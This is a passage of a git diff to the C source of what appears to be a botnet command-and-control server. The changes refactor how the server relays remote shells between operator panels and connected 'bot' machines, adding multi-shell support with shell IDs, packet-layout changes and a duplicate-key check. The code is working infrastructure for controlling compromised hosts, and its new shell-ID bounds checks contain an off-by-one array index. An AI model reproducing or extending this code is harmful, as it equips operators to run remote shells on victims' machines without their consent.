		||||
 | 
			
		||||
struct sLaika_botInfo {
 | 
			
		||||
    BASE_PEERINFO
 | 
			
		||||
    struct sLaika_peer *shellAuths[LAIKA_MAX_SHELLS]; /* currently connected shells */
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
struct sLaika_authInfo {
 | 
			
		||||
    BASE_PEERINFO
 | 
			
		||||
    struct sLaika_peer *shellBot; /* currently connected shell */
 | 
			
		||||
    uint32_t shellID;
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
#undef BASE_PEERINFO
 | 
			
		||||
 | 
			
		||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
 | 
			
		||||
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
 | 
			
		||||
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
 | 
			
		||||
 | 
			
		||||
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth);
 | 
			
		||||
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth);
 | 
			
		||||
 | 
			
		||||
void laikaC_closeBotShells(struct sLaika_peer *bot);
 | 
			
		||||
 | 
			
		||||
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
 | 
			
		||||
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
 | 
			
		||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
 | 
			
		||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
 | 
			
		||||
 | 
			
		||||
#endif
 | 
			
		||||
							
								
								
									
										102
									
								
								cnc/src/cnc.c
									
									
									
									
									
								
							
							
						
						
									
										102
									
								
								cnc/src/cnc.c
									
									
									
									
									
								
							@@ -5,37 +5,9 @@
 | 
			
		||||
#include "ltask.h"
 | 
			
		||||
 | 
			
		||||
#include "cpanel.h"
 | 
			
		||||
#include "cpeer.h"
 | 
			
		||||
#include "cnc.h"
 | 
			
		||||
 | 
			
		||||
/* ===============================================[[ Peer Info ]]================================================ */
 | 
			
		||||
 | 
			
		||||
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
 | 
			
		||||
    struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
 | 
			
		||||
    
 | 
			
		||||
    pInfo->cnc = cnc;
 | 
			
		||||
    pInfo->lastPing = laikaT_getTime();
 | 
			
		||||
    return pInfo;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
 | 
			
		||||
 | 
			
		||||
    bInfo->shellAuth = NULL;
 | 
			
		||||
    return bInfo;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
 | 
			
		||||
    struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
 | 
			
		||||
 | 
			
		||||
    aInfo->shellBot = NULL;
 | 
			
		||||
    return aInfo;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
 | 
			
		||||
    peer->uData = NULL;
 | 
			
		||||
    laikaM_free(pInfo);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* ==============================================[[ PeerHashMap ]]=============================================== */
 | 
			
		||||
 | 
			
		||||
typedef struct sCNC_PeerHashElem {
 | 
			
		||||
@@ -57,6 +29,13 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
 | 
			
		||||
 | 
			
		||||
/* ============================================[[ Packet Handlers ]]============================================= */
 | 
			
		||||
 | 
			
		||||
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
 | 
			
		||||
    if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
 | 
			
		||||
        LAIKA_ERROR("public key is already in use!\n");
 | 
			
		||||
 | 
			
		||||
    return true;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    char magicBuf[LAIKA_MAGICLEN];
 | 
			
		||||
    struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
 | 
			
		||||
@@ -82,6 +61,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
 | 
			
		||||
    laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
 | 
			
		||||
    laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
 | 
			
		||||
 | 
			
		||||
    /* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
 | 
			
		||||
    laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
 | 
			
		||||
 | 
			
		||||
    /* restore null-terminator */
 | 
			
		||||
    peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
 | 
			
		||||
    peer->inet[LAIKA_INET_LEN-1] = '\0';
 | 
			
		||||
@@ -111,40 +93,6 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
 | 
			
		||||
    laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
 | 
			
		||||
    struct sLaika_cnc *cnc = bInfo->info.cnc;
 | 
			
		||||
    uint8_t _res = laikaS_readByte(&peer->sock);
 | 
			
		||||
 | 
			
		||||
    /* ignore packet if shell isn't open */
 | 
			
		||||
    if (bInfo->shellAuth == NULL)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    /* forward to SHELL_CLOSE to auth */
 | 
			
		||||
    laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
 | 
			
		||||
    /* close shell */
 | 
			
		||||
    ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
 | 
			
		||||
    bInfo->shellAuth = NULL;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
 | 
			
		||||
    uint8_t id;
 | 
			
		||||
 | 
			
		||||
    /* ignore packet if malformed */
 | 
			
		||||
    if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    laikaS_read(&peer->sock, (void*)buf, sz);
 | 
			
		||||
 | 
			
		||||
    /* forward SHELL_DATA packet to auth */
 | 
			
		||||
    laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
    laikaS_write(&bInfo->shellAuth->sock, buf, sz);
 | 
			
		||||
    laikaS_endVarPacket(bInfo->shellAuth);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* =============================================[[ Packet Tables ]]============================================== */
 | 
			
		||||
 | 
			
		||||
#define DEFAULT_PKT_TBL \
 | 
			
		||||
@@ -165,7 +113,7 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
 | 
			
		||||
    DEFAULT_PKT_TBL,
 | 
			
		||||
    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
 | 
			
		||||
        laikaC_handleShellClose,
 | 
			
		||||
        0,
 | 
			
		||||
        sizeof(uint32_t),
 | 
			
		||||
    false),
 | 
			
		||||
    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
 | 
			
		||||
        laikaC_handleShellData,
 | 
			
		||||
@@ -251,6 +199,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
 | 
			
		||||
 | 
			
		||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
 | 
			
		||||
    int i;
 | 
			
		||||
    ((struct sLaika_peerInfo*)peer->uData)->completeHandshake = true;
 | 
			
		||||
 | 
			
		||||
    /* add peer to panels list (if it's a panel) */
 | 
			
		||||
    if (peer->type == PEER_AUTH)
 | 
			
		||||
@@ -268,21 +217,18 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
 | 
			
		||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    /* ignore uninitalized peers */
 | 
			
		||||
    if (!((struct sLaika_peerInfo*)peer->uData)->completeHandshake)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    switch (peer->type) {
 | 
			
		||||
        case PEER_BOT: {
 | 
			
		||||
            struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)peer->uData;
 | 
			
		||||
 | 
			
		||||
            /* close any open shells */
 | 
			
		||||
            if (bInfo->shellAuth)
 | 
			
		||||
                laikaC_closeBotShell(bInfo);
 | 
			
		||||
            laikaC_closeBotShells(peer);
 | 
			
		||||
            break;
 | 
			
		||||
        }
 | 
			
		||||
        case PEER_AUTH: {
 | 
			
		||||
            struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)peer->uData;
 | 
			
		||||
 | 
			
		||||
            /* close any open shells */
 | 
			
		||||
            if (aInfo->shellBot)
 | 
			
		||||
                laikaC_closeAuthShell(aInfo);
 | 
			
		||||
            laikaC_closeAuthShell(peer);
 | 
			
		||||
 | 
			
		||||
            /* remove peer from panels list */
 | 
			
		||||
            laikaC_rmvAuth(cnc, peer);
 | 
			
		||||
@@ -301,10 +247,14 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
 | 
			
		||||
    /* make sure to update connected peers */
 | 
			
		||||
    laikaC_onRmvPeer(cnc, peer);
 | 
			
		||||
 | 
			
		||||
    /* free old peerInfo */
 | 
			
		||||
    laikaC_freePeerInfo(peer, peer->uData);
 | 
			
		||||
 | 
			
		||||
    /* update accepted packets */
 | 
			
		||||
    peer->type = type;
 | 
			
		||||
    switch (type) {
 | 
			
		||||
        case PEER_AUTH:
 | 
			
		||||
            peer->packetTbl = laikaC_authPktTbl;
 | 
			
		||||
@@ -319,10 +269,6 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
 | 
			
		||||
            break;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* make sure to update connected peers */
 | 
			
		||||
    laikaC_onRmvPeer(cnc, peer);
 | 
			
		||||
    peer->type = type;
 | 
			
		||||
 | 
			
		||||
    /* a new (but not-so-new) peer has arrived */
 | 
			
		||||
    laikaC_onAddPeer(cnc, peer);
 | 
			
		||||
}
 | 
			
		||||
@@ -446,6 +392,8 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
 | 
			
		||||
        LAIKA_DEBUG("timeout reached for %p! [%d]\n", peer, currTime - pInfo->lastPing);
 | 
			
		||||
        laikaC_killPeer(cnc, peer);
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return true;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
 | 
			
		||||
 
 | 
			
		||||
@@ -1,6 +1,8 @@
 | 
			
		||||
#include "lerror.h"
 | 
			
		||||
#include "lmem.h"
 | 
			
		||||
 | 
			
		||||
#include "cnc.h"
 | 
			
		||||
#include "cpeer.h"
 | 
			
		||||
#include "cpanel.h"
 | 
			
		||||
 | 
			
		||||
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
 | 
			
		||||
@@ -39,32 +41,32 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
 | 
			
		||||
    laikaS_endOutPacket(authPeer);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) {
 | 
			
		||||
    /* forward to SHELL_CLOSE to auth */
 | 
			
		||||
    laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
void laikaC_closeAuthShell(struct sLaika_peer *auth) {
 | 
			
		||||
    struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData;
 | 
			
		||||
 | 
			
		||||
    /* close shell */
 | 
			
		||||
    ((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
 | 
			
		||||
    if (!aInfo->shellBot)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    /* forward SHELL_CLOSE to bot */
 | 
			
		||||
    laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
    laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t));
 | 
			
		||||
    laikaS_endOutPacket(aInfo->shellBot);
 | 
			
		||||
 | 
			
		||||
    /* rmv shell */
 | 
			
		||||
    laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth);
 | 
			
		||||
    aInfo->shellBot = NULL;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) {
 | 
			
		||||
    /* forward to SHELL_CLOSE to auth */
 | 
			
		||||
    laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
 | 
			
		||||
    /* close shell */
 | 
			
		||||
    ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
 | 
			
		||||
    bInfo->shellAuth = NULL;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* ============================================[[ Packet Handlers ]]============================================= */
 | 
			
		||||
 | 
			
		||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
 | 
			
		||||
    struct sLaika_cnc *cnc = pInfo->cnc;
 | 
			
		||||
    authPeer->type = laikaS_readByte(&authPeer->sock);
 | 
			
		||||
    PEERTYPE type;
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    switch (authPeer->type) {
 | 
			
		||||
    type = laikaS_readByte(&authPeer->sock);
 | 
			
		||||
    switch (type) {
 | 
			
		||||
        case PEER_AUTH:
 | 
			
		||||
            /* check that peer's pubkey is authenticated */
 | 
			
		||||
            if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
 | 
			
		||||
@@ -107,10 +109,11 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
 | 
			
		||||
 | 
			
		||||
    /* link shells */
 | 
			
		||||
    aInfo->shellBot = peer;
 | 
			
		||||
    ((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer;
 | 
			
		||||
    aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer);
 | 
			
		||||
 | 
			
		||||
    /* forward the request to open a shell */
 | 
			
		||||
    laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
 | 
			
		||||
    laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t));
 | 
			
		||||
    laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t));
 | 
			
		||||
    laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t));
 | 
			
		||||
    laikaS_endOutPacket(peer);
 | 
			
		||||
@@ -124,10 +127,16 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
 | 
			
		||||
    if (aInfo->shellBot == NULL)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    
 | 
			
		||||
    laikaC_closeAuthShell(aInfo);
 | 
			
		||||
    laikaC_closeAuthShell(authPeer);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* improves readability */
 | 
			
		||||
#define SENDSHELLDATA(peer, data, size, id) \
 | 
			
		||||
    laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); \
 | 
			
		||||
    laikaS_writeInt(&peer->sock, id, sizeof(uint32_t)); \
 | 
			
		||||
    laikaS_write(&peer->sock, data, size); \
 | 
			
		||||
    laikaS_endVarPacket(peer);
 | 
			
		||||
 | 
			
		||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
 | 
			
		||||
    struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
 | 
			
		||||
@@ -144,14 +153,24 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
 | 
			
		||||
    /* read data */
 | 
			
		||||
    laikaS_read(&authPeer->sock, data, sz);
 | 
			
		||||
 | 
			
		||||
    /* forward data to peer */
 | 
			
		||||
    if (authPeer->osType == peer->osType) {
 | 
			
		||||
        /* forward raw data to peer */
 | 
			
		||||
        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
        laikaS_write(&peer->sock, data, sz);
 | 
			
		||||
        laikaS_endVarPacket(peer);
 | 
			
		||||
        if (sz + sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
 | 
			
		||||
            /* we need to split the buffer since the packet for c2c->bot includes an id (since a bot can host multiple shells, 
 | 
			
		||||
                while the auth/shell client only keeps track of 1)
 | 
			
		||||
            */
 | 
			
		||||
 | 
			
		||||
            /* first part */
 | 
			
		||||
            SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID);
 | 
			
		||||
 | 
			
		||||
            /* second part */
 | 
			
		||||
            SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID);
 | 
			
		||||
        } else {
 | 
			
		||||
            SENDSHELLDATA(peer, data, sz, &aInfo->shellID);
 | 
			
		||||
        }
 | 
			
		||||
    } else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
 | 
			
		||||
        uint8_t *buf = NULL;
 | 
			
		||||
        int i, count = 0, cap = 2;
 | 
			
		||||
        uint8_t *buf = laikaM_malloc(sz);
 | 
			
		||||
        int i, count = 0, cap = sz;
 | 
			
		||||
 | 
			
		||||
        /* convert line endings */
 | 
			
		||||
        for (i = 0; i < sz; i++) {
 | 
			
		||||
@@ -170,19 +189,15 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
 | 
			
		||||
        /* send buffer (99% of the time this isn't necessary, but the 1% can make
 | 
			
		||||
            buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
 | 
			
		||||
        i = count;
 | 
			
		||||
        while (i > LAIKA_SHELL_DATA_MAX_LENGTH) {
 | 
			
		||||
            laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
            laikaS_write(&peer->sock, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH);
 | 
			
		||||
            laikaS_endVarPacket(peer);
 | 
			
		||||
            
 | 
			
		||||
        while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
 | 
			
		||||
            SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID);            
 | 
			
		||||
            i -= LAIKA_SHELL_DATA_MAX_LENGTH;
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        /* send the leftovers */
 | 
			
		||||
        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
        laikaS_write(&peer->sock, buf + (count - i), i);
 | 
			
		||||
        laikaS_endVarPacket(peer);
 | 
			
		||||
 | 
			
		||||
        SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID);
 | 
			
		||||
        laikaM_free(buf);
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
#undef SENDSHELLDATA
 | 
			
		||||
							
								
								
									
										138
									
								
								cnc/src/cpeer.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										138
									
								
								cnc/src/cpeer.c
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,138 @@
 | 
			
		||||
#include "lmem.h"
 | 
			
		||||
 | 
			
		||||
#include "cnc.h"
 | 
			
		||||
#include "cpeer.h"
 | 
			
		||||
 | 
			
		||||
/* ===============================================[[ Peer Info ]]================================================ */
 | 
			
		||||
 | 
			
		||||
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
 | 
			
		||||
    struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
 | 
			
		||||
    
 | 
			
		||||
    pInfo->cnc = cnc;
 | 
			
		||||
    pInfo->lastPing = laikaT_getTime();
 | 
			
		||||
    pInfo->completeHandshake = false;
 | 
			
		||||
    return pInfo;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        bInfo->shellAuths[i] = NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return bInfo;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
 | 
			
		||||
    struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
 | 
			
		||||
 | 
			
		||||
    aInfo->shellBot = NULL;
 | 
			
		||||
    return aInfo;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
 | 
			
		||||
    peer->uData = NULL;
 | 
			
		||||
    laikaM_free(pInfo);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/*int laikaC_findAuthShell(struct sLaika_botInfo *bot, uint32_t id) {
 | 
			
		||||
    struct sLaika_peer *auth;
 | 
			
		||||
    struct sLaika_authInfo *aInfo;
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        if ((auth = bot->shellAuths[i]) != NULL && (aInfo = auth->uData)->shellID == id)
 | 
			
		||||
             return i;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return -1;
 | 
			
		||||
}*/
 | 
			
		||||
 | 
			
		||||
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) {
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        if (bInfo->shellAuths[i] == NULL) {
 | 
			
		||||
            bInfo->shellAuths[i] = auth;
 | 
			
		||||
            return i;
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return -1;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) {
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        if (bInfo->shellAuths[i] == auth) {
 | 
			
		||||
            bInfo->shellAuths[i] = NULL;
 | 
			
		||||
            return;
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_closeBotShells(struct sLaika_peer *bot) {
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)bot->uData;
 | 
			
		||||
    struct sLaika_peer *auth;
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        if ((auth = bInfo->shellAuths[i]) != NULL) {
 | 
			
		||||
            /* forward to SHELL_CLOSE to auth */
 | 
			
		||||
            laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
 | 
			
		||||
            /* close shell */
 | 
			
		||||
            ((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
 | 
			
		||||
            bInfo->shellAuths[i] = NULL;
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* ============================================[[ Packet Handlers ]]============================================= */
 | 
			
		||||
 | 
			
		||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
 | 
			
		||||
    struct sLaika_cnc *cnc = bInfo->info.cnc;
 | 
			
		||||
    struct sLaika_peer *auth;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
 | 
			
		||||
    laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
 | 
			
		||||
    /* ignore packet if shell isn't open */
 | 
			
		||||
    if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    /* forward SHELL_CLOSE to auth */
 | 
			
		||||
    laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
 | 
			
		||||
    /* close shell */
 | 
			
		||||
    ((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
 | 
			
		||||
    bInfo->shellAuths[id] = NULL;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
 | 
			
		||||
    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
 | 
			
		||||
    struct sLaika_peer *auth;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
 | 
			
		||||
    /* ignore packet if malformed */
 | 
			
		||||
    if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t))
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
 | 
			
		||||
    /* ignore packet if shell isn't open */
 | 
			
		||||
    if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL)
 | 
			
		||||
        return;
 | 
			
		||||
 | 
			
		||||
    laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
 | 
			
		||||
 | 
			
		||||
    /* forward SHELL_DATA packet to auth */
 | 
			
		||||
    laikaS_startVarPacket(auth, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
    laikaS_write(&auth->sock, buf, sz-sizeof(uint32_t));
 | 
			
		||||
    laikaS_endVarPacket(auth);
 | 
			
		||||
}
 | 
			
		||||
@@ -13,6 +13,7 @@
 | 
			
		||||
#define LAIKA_INET_LEN 22
 | 
			
		||||
 | 
			
		||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
 | 
			
		||||
#define LAIKA_MAX_SHELLS 16
 | 
			
		||||
 | 
			
		||||
/* first handshake between peer & cnc works as so:
 | 
			
		||||
    - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
 | 
			
		||||
@@ -83,15 +84,17 @@ enum {
 | 
			
		||||
    */
 | 
			
		||||
    LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
 | 
			
		||||
    /* layout of LAIKAPKT_SHELL_OPEN:
 | 
			
		||||
    *   uint32_t id; // this field is absent from the panel/auth client
 | 
			
		||||
    *   uint16_t cols;
 | 
			
		||||
    *   uint16_t rows;
 | 
			
		||||
    */
 | 
			
		||||
    LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
 | 
			
		||||
    /* layout of LAIKAPKT_SHELL_CLOSE:
 | 
			
		||||
    *   NULL (empty packet)
 | 
			
		||||
    *   uint32_t id; // this field is absent from the panel/auth client
 | 
			
		||||
    */
